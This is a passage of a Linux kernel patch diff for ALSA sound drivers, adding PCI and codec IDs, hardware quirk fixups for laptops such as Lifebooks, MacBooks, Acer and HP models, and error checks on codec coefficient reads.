azx_pm = { SET_SYSTEM_SLEEP_PM_OPS(azx_suspend, azx_resume) +#ifdef CONFIG_PM_SLEEP + .freeze_noirq = azx_freeze_noirq, + .thaw_noirq = azx_thaw_noirq, +#endif SET_RUNTIME_PM_OPS(azx_runtime_suspend, azx_runtime_resume, azx_runtime_idle) }; @@ -3864,6 +3898,11 @@ static DEFINE_PCI_DEVICE_TABLE(azx_ids) = { .driver_data = AZX_DRIVER_PCH | AZX_DCAPS_INTEL_PCH }, { PCI_DEVICE(0x8086, 0x8d21), .driver_data = AZX_DRIVER_PCH | AZX_DCAPS_INTEL_PCH }, + /* Lewisburg */ + { PCI_DEVICE(0x8086, 0xa1f0), + .driver_data = AZX_DRIVER_PCH | AZX_DCAPS_INTEL_PCH }, + { PCI_DEVICE(0x8086, 0xa270), + .driver_data = AZX_DRIVER_PCH | AZX_DCAPS_INTEL_PCH }, /* Lynx Point-LP */ { PCI_DEVICE(0x8086, 0x9c20), .driver_data = AZX_DRIVER_PCH | AZX_DCAPS_INTEL_PCH }, diff --git a/sound/pci/hda/hda_proc.c b/sound/pci/hda/hda_proc.c index 0fee8fae590a3..eb94e495c7546 100644 --- a/sound/pci/hda/hda_proc.c +++ b/sound/pci/hda/hda_proc.c @@ -129,13 +129,38 @@ static void print_amp_caps(struct snd_info_buffer *buffer, (caps & AC_AMPCAP_MUTE) >> AC_AMPCAP_MUTE_SHIFT); } +/* is this a stereo widget or a stereo-to-mono mix? */ +static bool is_stereo_amps(struct hda_codec *codec, hda_nid_t nid, + int dir, unsigned int wcaps, int indices) +{ + hda_nid_t conn; + + if (wcaps & AC_WCAP_STEREO) + return true; + /* check for a stereo-to-mono mix; it must be: + * only a single connection, only for input, and only a mixer widget + */ + if (indices != 1 || dir != HDA_INPUT || + get_wcaps_type(wcaps) != AC_WID_AUD_MIX) + return false; + + if (snd_hda_get_raw_connections(codec, nid, &conn, 1) < 0) + return false; + /* the connection source is a stereo? */ + wcaps = snd_hda_param_read(codec, conn, AC_PAR_AUDIO_WIDGET_CAP); + return !!(wcaps & AC_WCAP_STEREO); +} + static void print_amp_vals(struct snd_info_buffer *buffer, struct hda_codec *codec, hda_nid_t nid, - int dir, int stereo, int indices) + int dir, unsigned int wcaps, int indices) { unsigned int val; + bool stereo; int i; + stereo = is_stereo_amps(codec, nid, dir, wcaps, indices); + dir = dir == HDA_OUTPUT ? AC_AMP_GET_OUTPUT : AC_AMP_GET_INPUT; for (i = 0; i < indices; i++) { snd_iprintf(buffer, " ["); @@ -682,12 +707,10 @@ static void print_codec_info(struct snd_info_entry *entry, (codec->single_adc_amp && wid_type == AC_WID_AUD_IN)) print_amp_vals(buffer, codec, nid, HDA_INPUT, - wid_caps & AC_WCAP_STEREO, - 1); + wid_caps, 1); else print_amp_vals(buffer, codec, nid, HDA_INPUT, - wid_caps & AC_WCAP_STEREO, - conn_len); + wid_caps, conn_len); } if (wid_caps & AC_WCAP_OUT_AMP) { snd_iprintf(buffer, " Amp-Out caps: "); @@ -696,11 +719,10 @@ static void print_codec_info(struct snd_info_entry *entry, if (wid_type == AC_WID_PIN && codec->pin_amp_workaround) print_amp_vals(buffer, codec, nid, HDA_OUTPUT, - wid_caps & AC_WCAP_STEREO, - conn_len); + wid_caps, conn_len); else print_amp_vals(buffer, codec, nid, HDA_OUTPUT, - wid_caps & AC_WCAP_STEREO, 1); + wid_caps, 1); } switch (wid_type) { diff --git a/sound/pci/hda/patch_ca0132.c b/sound/pci/hda/patch_ca0132.c index 01fefbe29e4a4..4126f3d9edb63 100644 --- a/sound/pci/hda/patch_ca0132.c +++ b/sound/pci/hda/patch_ca0132.c @@ -4379,6 +4379,9 @@ static void ca0132_download_dsp(struct hda_codec *codec) return; /* NOP */ #endif + if (spec->dsp_state == DSP_DOWNLOAD_FAILED) + return; /* don't retry failures */ + chipio_enable_clocks(codec); spec->dsp_state = DSP_DOWNLOADING; if (!ca0132_download_dsp_images(codec)) @@ -4555,7 +4558,8 @@ static int ca0132_init(struct hda_codec *codec) struct auto_pin_cfg *cfg = &spec->autocfg; int i; - spec->dsp_state = DSP_DOWNLOAD_INIT; + if (spec->dsp_state != DSP_DOWNLOAD_FAILED) + spec->dsp_state = DSP_DOWNLOAD_INIT; spec->curr_chip_addx = INVALID_CHIP_ADDRESS; snd_hda_power_up(codec); @@ -4666,6 +4670,7 @@ static int patch_ca0132(struct hda_codec *codec) codec->spec = spec; spec->codec = codec; + spec->dsp_state = DSP_DOWNLOAD_INIT; spec->num_mixers = 1; spec->mixers[0] = ca0132_mixer; diff --git a/sound/pci/hda/patch_cirrus.c b/sound/pci/hda/patch_cirrus.c index cccaf9c7a7bbd..2ba07ae708790 100644 --- a/sound/pci/hda/patch_cirrus.c +++ b/sound/pci/hda/patch_cirrus.c @@ -363,6 +363,7 @@ static const struct snd_pci_quirk cs420x_fixup_tbl[] = { SND_PCI_QUIRK(0x106b, 0x1c00, "MacBookPro 8,1", CS420X_MBP81), SND_PCI_QUIRK(0x106b, 0x2000, "iMac 12,2", CS420X_IMAC27_122), SND_PCI_QUIRK(0x106b, 0x2800, "MacBookPro 10,1", CS420X_MBP101), + SND_PCI_QUIRK(0x106b, 0x5600, "MacBookAir 5,2", CS420X_MBP81), SND_PCI_QUIRK(0x106b, 0x5b00, "MacBookAir 4,2", CS420X_MBA42), SND_PCI_QUIRK_VENDOR(0x106b, "Apple", CS420X_APPLE), {} /* terminator */ @@ -531,6 +532,7 @@ static int patch_cs420x(struct hda_codec *codec) return -ENOMEM; spec->gen.automute_hook = cs_automute; + codec->single_adc_amp = 1; snd_hda_pick_fixup(codec, cs420x_models, cs420x_fixup_tbl, cs420x_fixups); @@ -785,9 +787,7 @@ static void cs4210_spdif_automute(struct hda_codec *codec, spec->spdif_present = spdif_present; /* SPDIF TX on/off */ - if (spdif_present) - snd_hda_set_pin_ctl(codec, spdif_pin, - spdif_present ? PIN_OUT : 0); + snd_hda_set_pin_ctl(codec, spdif_pin, spdif_present ? PIN_OUT : 0); cs_automute(codec); } diff --git a/sound/pci/hda/patch_conexant.c b/sound/pci/hda/patch_conexant.c index 1868d3a6e310f..3cda292f74e42 100644 --- a/sound/pci/hda/patch_conexant.c +++ b/sound/pci/hda/patch_conexant.c @@ -3223,6 +3223,7 @@ enum { CXT_PINCFG_LENOVO_TP410, CXT_PINCFG_LEMOTE_A1004, CXT_PINCFG_LEMOTE_A1205, + CXT_PINCFG_COMPAQ_CQ60, CXT_FIXUP_STEREO_DMIC, CXT_FIXUP_INC_MIC_BOOST, CXT_FIXUP_GPIO1, @@ -3296,6 +3297,15 @@ static const struct hda_fixup cxt_fixups[] = { .type = HDA_FIXUP_PINS, .v.pins = cxt_pincfg_lemote, }, + [CXT_PINCFG_COMPAQ_CQ60] = { + .type = HDA_FIXUP_PINS, + .v.pins = (const struct hda_pintbl[]) { + /* 0x17 was falsely set up as a mic, it should 0x1d */ + { 0x17, 0x400001f0 }, + { 0x1d, 0x97a70120 }, + { } + } + }, [CXT_FIXUP_STEREO_DMIC] = { .type = HDA_FIXUP_FUNC, .v.func = cxt_fixup_stereo_dmic, @@ -3316,6 +3326,7 @@ static const struct hda_fixup cxt_fixups[] = { }; static const struct snd_pci_quirk cxt5051_fixups[] = { + SND_PCI_QUIRK(0x103c, 0x360b, "Compaq CQ60", CXT_PINCFG_COMPAQ_CQ60), SND_PCI_QUIRK(0x17aa, 0x20f2, "Lenovo X200", CXT_PINCFG_LENOVO_X200), {} }; @@ -3479,6 +3490,14 @@ static const struct hda_codec_preset snd_hda_preset_conexant[] = { .patch = patch_conexant_auto }, { .id = 0x14f150b9, .name = "CX20665", .patch = patch_conexant_auto }, + { .id = 0x14f150f1, .name = "CX20721", + .patch = patch_conexant_auto }, + { .id = 0x14f150f2, .name = "CX20722", + .patch = patch_conexant_auto }, + { .id = 0x14f150f3, .name = "CX20723", + .patch = patch_conexant_auto }, + { .id = 0x14f150f4, .name = "CX20724", + .patch = patch_conexant_auto }, { .id = 0x14f1510f, .name = "CX20751/2", .patch = patch_conexant_auto }, { .id = 0x14f15110, .name = "CX20751/2", @@ -3513,6 +3532,10 @@ MODULE_ALIAS("snd-hda-codec-id:14f150ab"); MODULE_ALIAS("snd-hda-codec-id:14f150ac"); MODULE_ALIAS("snd-hda-codec-id:14f150b8"); MODULE_ALIAS("snd-hda-codec-id:14f150b9"); +MODULE_ALIAS("snd-hda-codec-id:14f150f1"); +MODULE_ALIAS("snd-hda-codec-id:14f150f2"); +MODULE_ALIAS("snd-hda-codec-id:14f150f3"); +MODULE_ALIAS("snd-hda-codec-id:14f150f4"); MODULE_ALIAS("snd-hda-codec-id:14f1510f"); MODULE_ALIAS("snd-hda-codec-id:14f15110"); MODULE_ALIAS("snd-hda-codec-id:14f15111"); diff --git a/sound/pci/hda/patch_realtek.c b/sound/pci/hda/patch_realtek.c index 0b85e857f1c72..babbf238a6488 100644 --- a/sound/pci/hda/patch_realtek.c +++ b/sound/pci/hda/patch_realtek.c @@ -175,6 +175,8 @@ static void alc_fix_pll(struct hda_codec *codec) spec->pll_coef_idx); val = snd_hda_codec_read(codec, spec->pll_nid, 0, AC_VERB_GET_PROC_COEF, 0); + if (val == -1) + return; snd_hda_codec_write(codec, spec->pll_nid, 0, AC_VERB_SET_COEF_INDEX, spec->pll_coef_idx); snd_hda_codec_write(codec, spec->pll_nid, 0, AC_VERB_SET_PROC_COEF, @@ -264,7 +266,7 @@ static void alc_auto_setup_eapd(struct hda_codec *codec, bool on) { /* We currently only handle front, HP */ static hda_nid_t pins[] = { - 0x0f, 0x10, 0x14, 0x15, 0 + 0x0f, 0x10, 0x14, 0x15, 0x17, 0 }; hda_nid_t *p; for (p = pins; *p; p++) @@ -316,6 +318,7 @@ static void alc_auto_init_amp(struct hda_codec *codec, int type) case 0x10ec0885: case 0x10ec0887: /*case 0x10ec0889:*/ /* this causes an SPDIF problem */ + case 0x10ec0900: alc889_coef_init(codec); break; case 0x10ec0888: @@ -1134,7 +1137,7 @@ static const struct hda_fixup alc880_fixups[] = { /* override all pins as BIOS on old Amilo is broken */ .type = HDA_FIXUP_PINS, .v.pins = (const struct hda_pintbl[]) { - { 0x14, 0x0121411f }, /* HP */ + { 0x14, 0x0121401f }, /* HP */ { 0x15, 0x99030120 }, /* speaker */ { 0x16, 0x99030130 }, /* bass speaker */ { 0x17, 0x411111f0 }, /* N/A */ @@ -1154,7 +1157,7 @@ static const struct hda_fixup alc880_fixups[] = { /* almost compatible with FUJITSU, but no bass and SPDIF */ .type = HDA_FIXUP_PINS, .v.pins = (const struct hda_pintbl[]) { - { 0x14, 0x0121411f }, /* HP */ + { 0x14, 0x0121401f }, /* HP */ { 0x15, 0x99030120 }, /* speaker */ { 0x16, 0x411111f0 }, /* N/A */ { 0x17, 0x411111f0 }, /* N/A */ @@ -1362,7 +1365,7 @@ static const struct snd_pci_quirk alc880_fixup_tbl[] = { SND_PCI_QUIRK(0x161f, 0x203d, "W810", ALC880_FIXUP_W810), SND_PCI_QUIRK(0x161f, 0x205d, "Medion Rim 2150", ALC880_FIXUP_MEDION_RIM), SND_PCI_QUIRK(0x1631, 0xe011, "PB 13201056", ALC880_FIXUP_6ST_AUTOMUTE), - SND_PCI_QUIRK(0x1734, 0x107c, "FSC F1734", ALC880_FIXUP_F1734), + SND_PCI_QUIRK(0x1734, 0x107c, "FSC Amilo M1437", ALC880_FIXUP_FUJITSU), SND_PCI_QUIRK(0x1734, 0x1094, "FSC Amilo M1451G", ALC880_FIXUP_FUJITSU), SND_PCI_QUIRK(0x1734, 0x10ac, "FSC AMILO Xi 1526", ALC880_FIXUP_F1734), SND_PCI_QUIRK(0x1734, 0x10b0, "FSC Amilo Pi1556", ALC880_FIXUP_FUJITSU), @@ -1765,6 +1768,7 @@ enum { ALC889_FIXUP_MBA11_VREF, ALC889_FIXUP_MBA21_VREF, ALC889_FIXUP_MP11_VREF, + ALC889_FIXUP_MP41_VREF, ALC882_FIXUP_INV_DMIC, ALC882_FIXUP_NO_PRIMARY_HP, ALC887_FIXUP_ASUS_BASS, @@ -1851,7 +1855,7 @@ static void alc889_fixup_mbp_vref(struct hda_codec *codec, const struct hda_fixup *fix, int action) { struct alc_spec *spec = codec->spec; - static hda_nid_t nids[2] = { 0x14, 0x15 }; + static hda_nid_t nids[3] = { 0x14, 0x15, 0x19 }; int i; if (action != HDA_FIXUP_ACT_INIT) @@ -2125,6 +2129,12 @@ static const struct hda_fixup alc882_fixups[] = { .chained = true, .chain_id = ALC885_FIXUP_MACPRO_GPIO, }, + [ALC889_FIXUP_MP41_VREF] = { + .type = HDA_FIXUP_FUNC, + .v.func = alc889_fixup_mbp_vref, + .chained = true, + .chain_id = ALC885_FIXUP_MACPRO_GPIO, + }, [ALC882_FIXUP_INV_DMIC] = { .type = HDA_FIXUP_FUNC, .v.func = alc_fixup_inv_dmic_0x12, @@ -2145,6 +2155,7 @@ static const struct hda_fixup alc882_fixups[] = { static const struct snd_pci_quirk alc882_fixup_tbl[] = { SND_PCI_QUIRK(0x1025, 0x006c, "Acer Aspire 9810", ALC883_FIXUP_ACER_EAPD), SND_PCI_QUIRK(0x1025, 0x0090, "Acer Aspire", ALC883_FIXUP_ACER_EAPD), + SND_PCI_QUIRK(0x1025, 0x0107, "Acer Aspire", ALC883_FIXUP_ACER_EAPD), SND_PCI_QUIRK(0x1025, 0x010a, "Acer Ferrari 5000", ALC883_FIXUP_ACER_EAPD), SND_PCI_QUIRK(0x1025, 0x0110, "Acer Aspire", ALC883_FIXUP_ACER_EAPD), SND_PCI_QUIRK(0x1025, 0x0112, "Acer Aspire 9303", ALC883_FIXUP_ACER_EAPD), @@ -2177,6 +2188,7 @@ static const struct snd_pci_quirk alc882_fixup_tbl[] = { SND_PCI_QUIRK(0x104d, 0x9047, "Sony Vaio TT", ALC889_FIXUP_VAIO_TT), SND_PCI_QUIRK(0x104d, 0x905a, "Sony Vaio Z", ALC882_FIXUP_NO_PRIMARY_HP), SND_PCI_QUIRK(0x104d, 0x9043, "Sony Vaio VGC-LN51JGB", ALC882_FIXUP_NO_PRIMARY_HP), + SND_PCI_QUIRK(0x104d, 0x9044, "Sony VAIO AiO", ALC882_FIXUP_NO_PRIMARY_HP), /* All Apple entries are in codec SSIDs */ SND_PCI_QUIRK(0x106b, 0x00a0, "MacBookPro 3,1", ALC889_FIXUP_MBP_VREF), @@ -2196,11 +2208,11 @@ static const struct snd_pci_quirk alc882_fixup_tbl[] = { SND_PCI_QUIRK(0x106b, 0x3f00, "Macbook 5,1", ALC889_FIXUP_IMAC91_VREF), SND_PCI_QUIRK(0x106b, 0x4000, "MacbookPro 5,1", ALC889_FIXUP_IMAC91_VREF), SND_PCI_QUIRK(0x106b, 0x4100, "Macmini 3,1", ALC889_FIXUP_IMAC91_VREF), - SND_PCI_QUIRK(0x106b, 0x4200, "Mac Pro 5,1", ALC885_FIXUP_MACPRO_GPIO), + SND_PCI_QUIRK(0x106b, 0x4200, "Mac Pro 4,1/5,1", ALC889_FIXUP_MP41_VREF), SND_PCI_QUIRK(0x106b, 0x4300, "iMac 9,1", ALC889_FIXUP_IMAC91_VREF), SND_PCI_QUIRK(0x106b, 0x4600, "MacbookPro 5,2", ALC889_FIXUP_IMAC91_VREF), SND_PCI_QUIRK(0x106b, 0x4900, "iMac 9,1 Aluminum", ALC889_FIXUP_IMAC91_VREF), - SND_PCI_QUIRK(0x106b, 0x4a00, "Macbook 5,2", ALC889_FIXUP_IMAC91_VREF), + SND_PCI_QUIRK(0x106b, 0x4a00, "Macbook 5,2", ALC889_FIXUP_MBA11_VREF), SND_PCI_QUIRK(0x1071, 0x8258, "Evesham Voyaeger", ALC882_FIXUP_EAPD), SND_PCI_QUIRK(0x1462, 0x7350, "MSI-7350", ALC889_FIXUP_CD), @@ -2250,6 +2262,7 @@ static int patch_alc882(struct hda_codec *codec) switch (codec->vendor_id) { case 0x10ec0882: case 0x10ec0885: + case 0x10ec0900: break; default: /* ALC883 and variants */ @@ -2677,6 +2690,8 @@ static int alc269_parse_auto_config(struct hda_codec *codec) static void alc269vb_toggle_power_output(struct hda_codec *codec, int power_up) { int val = alc_read_coef_idx(codec, 0x04); + if (val == -1) + return; if (power_up) val |= 1 << 11; else @@ -3357,6 +3372,8 @@ enum { ALC269_FIXUP_QUANTA_MUTE, ALC269_FIXUP_LIFEBOOK, ALC269_FIXUP_LIFEBOOK_EXTMIC, + ALC269_FIXUP_LIFEBOOK_HP_PIN, + ALC269_FIXUP_LIFEBOOK_NO_HP_TO_LINEOUT, ALC269_FIXUP_AMIC, ALC269_FIXUP_DMIC, ALC269VB_FIXUP_AMIC, @@ -3375,6 +3392,7 @@ enum { ALC290_FIXUP_MONO_SPEAKERS, ALC269_FIXUP_HEADSET_MODE, ALC269_FIXUP_HEADSET_MODE_NO_HP_MIC, + ALC269_FIXUP_ASPIRE_HEADSET_MIC, ALC269_FIXUP_ASUS_X101_FUNC, ALC269_FIXUP_ASUS_X101_VERB, ALC269_FIXUP_ASUS_X101, @@ -3471,6 +3489,17 @@ static const struct hda_fixup alc269_fixups[] = { { } }, }, + [ALC269_FIXUP_LIFEBOOK_HP_PIN] = { + .type = HDA_FIXUP_PINS, + .v.pins = (const struct hda_pintbl[]) { + { 0x21, 0x0221102f }, /* HP out */ + { } + }, + }, + [ALC269_FIXUP_LIFEBOOK_NO_HP_TO_LINEOUT] = { + .type = HDA_FIXUP_FUNC, + .v.func = alc269_fixup_pincfg_no_hp_to_lineout, + }, [ALC269_FIXUP_AMIC] = { .type = HDA_FIXUP_PINS, .v.pins = (const struct hda_pintbl[]) { @@ -3583,6 +3612,15 @@ static const struct hda_fixup alc269_fixups[] = { .type = HDA_FIXUP_FUNC, .v.func = alc_fixup_headset_mode_no_hp_mic, }, + [ALC269_FIXUP_ASPIRE_HEADSET_MIC] = { + .type = HDA_FIXUP_PINS, + .v.pins = (const struct hda_pintbl[]) { + { 0x19, 0x01a1913c }, /* headset mic w/o jack detect */ + { } + }, + .chained = true, + .chain_id = ALC269_FIXUP_HEADSET_MODE, + }, [ALC286_FIXUP_SONY_MIC_NO_PRESENCE] = { .type = HDA_FIXUP_PINS, .v.pins = (const struct hda_pintbl[]) { @@ -3717,10 +3755,15 @@ static const struct snd_pci_quirk alc269_fixup_tbl[] = { SND_PCI_QUIRK_VENDOR(0x104d, "Sony VAIO", ALC269_FIXUP_SONY_VAIO), SND_PCI_QUIRK(0x1028, 0x0470, "Dell M101z", ALC269_FIXUP_DELL_M101Z), SND_PCI_QUIRK(0x1025, 0x047c, "Acer AC700", ALC269_FIXUP_ACER_AC700), + SND_PCI_QUIRK(0x1025, 0x072d, "Acer Aspire V5-571G", ALC269_FIXUP_ASPIRE_HEADSET_MIC), + SND_PCI_QUIRK(0x1025, 0x080d, "Acer Aspire V5-122P", ALC269_FIXUP_ASPIRE_HEADSET_MIC), SND_PCI_QUIRK(0x1025, 0x0740, "Acer AO725", ALC271_FIXUP_HP_GATE_MIC_JACK), SND_PCI_QUIRK(0x1025, 0x0742, "Acer AO756", ALC271_FIXUP_HP_GATE_MIC_JACK), SND_PCI_QUIRK_VENDOR(0x1025, "Acer Aspire", ALC271_FIXUP_DMIC), SND_PCI_QUIRK(0x10cf, 0x1475, "Lifebook", ALC269_FIXUP_LIFEBOOK), + SND_PCI_QUIRK(0x10cf, 0x159f, "Lifebook E780", ALC269_FIXUP_LIFEBOOK_NO_HP_TO_LINEOUT), + SND_PCI_QUIRK(0x10cf, 0x15dc, "Lifebook T731", ALC269_FIXUP_LIFEBOOK_HP_PIN), + SND_PCI_QUIRK(0x10cf, 0x1757, "Lifebook E752", ALC269_FIXUP_LIFEBOOK_HP_PIN), SND_PCI_QUIRK(0x10cf, 0x1845, "Lifebook U904", ALC269_FIXUP_LIFEBOOK_EXTMIC), SND_PCI_QUIRK(0x17aa, 0x20f2, "Thinkpad SL410/510", ALC269_FIXUP_SKU_IGNORE), SND_PCI_QUIRK(0x17aa, 0x215e, "Thinkpad L512", ALC269_FIXUP_SKU_IGNORE), @@ -3822,27 +3865,30 @@ static void alc269_fill_coef(struct hda_codec *codec) if ((alc_get_coef0(codec) & 0x00ff) == 0x017) { val = alc_read_coef_idx(codec, 0x04); /* Power up output pin */ - alc_write_coef_idx(codec, 0x04, val | (1<<11)); + if (val != -1) + alc_write_coef_idx(codec, 0x04, val | (1<<11)); } if ((alc_get_coef0(codec) & 0x00ff) == 0x018) { val = alc_read_coef_idx(codec, 0xd); - if ((val & 0x0c00) >> 10 != 0x1) { + if (val != -1 && (val & 0x0c00) >> 10 != 0x1) { /* Capless ramp up clock control */ alc_write_coef_idx(codec, 0xd, val | (1<<10)); } val = alc_read_coef_idx(codec, 0x17); - if ((val & 0x01c0) >> 6 != 0x4) { + if (val != -1 && (val & 0x01c0) >> 6 != 0x4) { /* Class D power on reset */ alc_write_coef_idx(codec, 0x17, val | (1<<7)); } } val = alc_read_coef_idx(codec, 0xd); /* Class D */ - alc_write_coef_idx(codec, 0xd, val | (1<<14)); + if (val != -1) + alc_write_coef_idx(codec, 0xd, val | (1<<14)); val = alc_read_coef_idx(codec, 0x4); /* HP */ - alc_write_coef_idx(codec, 0x4, val | (1<<11)); + if (val != -1) + alc_write_coef_idx(codec, 0x4, val | (1<<11)); } /* @@ -4408,6 +4454,7 @@ static const struct hda_fixup alc662_fixups[] = { static const struct snd_pci_quirk alc662_fixup_tbl[] = { SND_PCI_QUIRK(0x1019, 0x9087, "ECS", ALC662_FIXUP_ASUS_MODE2), SND_PCI_QUIRK(0x1025, 0x022f, "Acer Aspire One", ALC662_FIXUP_INV_DMIC), + SND_PCI_QUIRK(0x1025, 0x0241, "Packard Bell DOTS", ALC662_FIXUP_INV_DMIC), SND_PCI_QUIRK(0x1025, 0x0308, "Acer Aspire 8942G", ALC662_FIXUP_ASPIRE), SND_PCI_QUIRK(0x1025, 0x031c, "Gateway NV79", ALC662_FIXUP_SKU_IGNORE), SND_PCI_QUIRK(0x1025, 0x0349, "eMachines eM250", ALC662_FIXUP_INV_DMIC), diff --git a/sound/pci/hda/patch_sigmatel.c b/sound/pci/hda/patch_sigmatel.c index 0c521b7752b2e..5ffe7992aaed9 100644 --- a/sound/pci/hda/patch_sigmatel.c +++ b/sound/pci/hda/patch_sigmatel.c @@ -84,6 +84,8 @@ enum { STAC_DELL_EQ, STAC_ALIENWARE_M17X, STAC_92HD89XX_HP_FRONT_JACK, + STAC_92HD89XX_HP_Z1_G2_RIGHT_MIC_JACK, + STAC_92HD73XX_ASUS_MOBO, STAC_92HD73XX_MODELS }; @@ -538,8 +540,8 @@ static void stac_init_power_map(struct hda_codec *codec) if (snd_hda_jack_tbl_get(codec, nid)) continue; if (def_conf == AC_JACK_PORT_COMPLEX && - !(spec->vref_mute_led_nid == nid || - is_jack_detectable(codec, nid))) { + spec->vref_mute_led_nid != nid && + is_jack_detectable(codec, nid)) { snd_hda_jack_detect_enable_callback(codec, nid, STAC_PWR_EVENT, jack_update_power); @@ -572,9 +574,9 @@ static void stac_store_hints(struct hda_codec *codec) spec->gpio_mask; } if (get_int_hint(codec, "gpio_dir", &spec->gpio_dir)) - spec->gpio_mask &= spec->gpio_mask; - if (get_int_hint(codec, "gpio_data", &spec->gpio_data)) spec->gpio_dir &= spec->gpio_mask; + if (get_int_hint(codec, "gpio_data", &spec->gpio_data)) + spec->gpio_data &= spec->gpio_mask; if (get_int_hint(codec, "eapd_mask", &spec->eapd_mask)) spec->eapd_mask &= spec->gpio_mask; if (get_int_hint(codec, "gpio_mute", &spec->gpio_mute)) @@ -701,6 +703,7 @@ static bool hp_bnb2011_with_dock(struct hda_codec *codec) static bool hp_blike_system(u32 subsystem_id) { switch (subsystem_id) { + case 0x103c1473: /* HP ProBook 6550b */ case 0x103c1520: case 0x103c1521: case 0x103c1523: @@ -1783,6 +1786,11 @@ static const struct hda_pintbl stac92hd89xx_hp_front_jack_pin_configs[] = { {} }; +static const struct hda_pintbl stac92hd89xx_hp_z1_g2_right_mic_jack_pin_configs[] = { + { 0x0e, 0x400000f0 }, + {} +}; + static void stac92hd73xx_fixup_ref(struct hda_codec *codec, const struct hda_fixup *fix, int action) { @@ -1905,7 +1913,22 @@ static const struct hda_fixup stac92hd73xx_fixups[] = { [STAC_92HD89XX_HP_FRONT_JACK] = { .type = HDA_FIXUP_PINS, .v.pins = stac92hd89xx_hp_front_jack_pin_configs, - } + }, + [STAC_92HD89XX_HP_Z1_G2_RIGHT_MIC_JACK] = { + .type = HDA_FIXUP_PINS, + .v.pins = stac92hd89xx_hp_z1_g2_right_mic_jack_pin_configs, + }, + [STAC_92HD73XX_ASUS_MOBO] = { + .type = HDA_FIXUP_PINS, + .v.pins = (const struct hda_pintbl[]) { + /* enable 5.1 and SPDIF out */ + { 0x0c, 0x01014411 }, + { 0x0d, 0x01014410 }, + { 0x0e, 0x01014412 }, + { 0x22, 0x014b1180 }, + { } + } + }, }; static const struct hda_model_fixup stac92hd73xx_models[] = { @@ -1917,6 +1940,7 @@ static const struct hda_model_fixup stac92hd73xx_models[] = { { .id = STAC_DELL_M6_BOTH, .name = "dell-m6" }, { .id = STAC_DELL_EQ, .name = "dell-eq" }, { .id = STAC_ALIENWARE_M17X, .name = "alienware" }, + { .id = STAC_92HD73XX_ASUS_MOBO, .name = "asus-mobo" }, {} }; @@ -1965,8 +1989,12 @@ static const struct snd_pci_quirk stac92hd73xx_fixup_tbl[] = { "Alienware M17x", STAC_ALIENWARE_M17X), SND_PCI_QUIRK(PCI_VENDOR_ID_DELL, 0x0490, "Alienware M17x R3", STAC_DELL_EQ), + SND_PCI_QUIRK(PCI_VENDOR_ID_HP, 0x1927, + "HP Z1 G2", STAC_92HD89XX_HP_Z1_G2_RIGHT_MIC_JACK), SND_PCI_QUIRK(PCI_VENDOR_ID_HP, 0x2b17, "unknown HP", STAC_92HD89XX_HP_FRONT_JACK), + SND_PCI_QUIRK(PCI_VENDOR_ID_ASUSTEK, 0x83f8, "ASUS AT4NM10", + STAC_92HD73XX_ASUS_MOBO), {} /* terminator */ }; @@ -3635,11 +3663,18 @@ static int stac_parse_auto_config(struct hda_codec *codec) return err; } - stac_init_power_map(codec); - return 0; } +static int stac_build_controls(struct hda_codec *codec) +{ + int err = snd_hda_gen_build_controls(codec); + + if (err < 0) + return err; + stac_init_power_map(codec); + return 0; +} static int stac_init(struct hda_codec *codec) { @@ -3782,7 +3817,7 @@ static void stac_set_power_state(struct hda_codec *codec, hda_nid_t fg, #endif /* CONFIG_PM */ static const struct hda_codec_ops stac_patch_ops = { - .build_controls = snd_hda_gen_build_controls, + .build_controls = stac_build_controls, .build_pcms = snd_hda_gen_build_pcms, .init = stac_init, .free = stac_free, diff --git a/sound/pci/intel8x0.c b/sound/pci/intel8x0.c index b8fe40531b9c5..7022450fb6dd6 100644 --- a/sound/pci/intel8x0.c +++ b/sound/pci/intel8x0.c @@ -2885,6 +2885,7 @@ static void intel8x0_measure_ac97_clock(struct intel8x0 *chip) static struct snd_pci_quirk intel8x0_clock_list[] = { SND_PCI_QUIRK(0x0e11, 0x008a, "AD1885", 41000), + SND_PCI_QUIRK(0x1014, 0x0581, "AD1981B", 48000), SND_PCI_QUIRK(0x1028, 0x00be, "AD1885", 44100), SND_PCI_QUIRK(0x1028, 0x0177, "AD1980", 48000), SND_PCI_QUIRK(0x1028, 0x01ad, "AD1981B", 48000), diff --git a/sound/pci/oxygen/oxygen_mixer.c b/sound/pci/oxygen/oxygen_mixer.c index c0dbb52d45be5..1e4bcb900fc6d 100644 --- a/sound/pci/oxygen/oxygen_mixer.c +++ b/sound/pci/oxygen/oxygen_mixer.c @@ -88,7 +88,7 @@ static int dac_mute_put(struct snd_kcontrol *ctl, int changed; mutex_lock(&chip->mutex); - changed = !value->value.integer.value[0] != chip->dac_mute; + changed = (!value->value.integer.value[0]) != chip->dac_mute; if (changed) { chip->dac_mute = !value->value.integer.value[0]; chip->model.update_dac_mute(chip); diff --git a/sound/pci/oxygen/virtuoso.c b/sound/pci/oxygen/virtuoso.c index 64b9fda5f04a7..dbbbacfd535e2 100644 --- a/sound/pci/oxygen/virtuoso.c +++ b/sound/pci/oxygen/virtuoso.c @@ -53,6 +53,7 @@ static DEFINE_PCI_DEVICE_TABLE(xonar_ids) = { { OXYGEN_PCI_SUBID(0x1043, 0x835e) }, { OXYGEN_PCI_SUBID(0x1043, 0x838e) }, { OXYGEN_PCI_SUBID(0x1043, 0x8522) }, + { OXYGEN_PCI_SUBID(0x1043, 0x85f4) }, { OXYGEN_PCI_SUBID_BROKEN_EEPROM }, { } }; diff --git a/sound/pci/oxygen/xonar_pcm179x.c b/sound/pci/oxygen/xonar_pcm179x.c index c8c7f2c9b355a..e026059316693 100644 --- a/sound/pci/oxygen/xonar_pcm179x.c +++ b/sound/pci/oxygen/xonar_pcm179x.c @@ -100,8 +100,8 @@ */ /* - * Xonar Essence ST (Deluxe)/STX - * ----------------------------- + * Xonar Essence ST (Deluxe)/STX (II) + * ---------------------------------- * * CMI8788: * @@ -1138,6 +1138,14 @@ int get_xonar_pcm179x_model(struct oxygen *chip, chip->model.resume = xonar_stx_resume; chip->model.set_dac_params = set_pcm1796_params; break; + case 0x85f4: + chip->model = model_xonar_st; + /* TODO: daughterboard support */ + chip->model.shortname = "Xonar STX II"; + chip->model.init = xonar_stx_init; + chip->model.resume = xonar_stx_resume; + chip->model.set_dac_params = set_pcm1796_params; + break; default: return -EINVAL; } diff --git a/sound/pci/riptide/riptide.c b/sound/pci/riptide/riptide.c index 63c1c80415541..fa66ba30470ef 100644 --- a/sound/pci/riptide/riptide.c +++ b/sound/pci/riptide/riptide.c @@ -2032,32 +2032,43 @@ snd_riptide_joystick_probe(struct 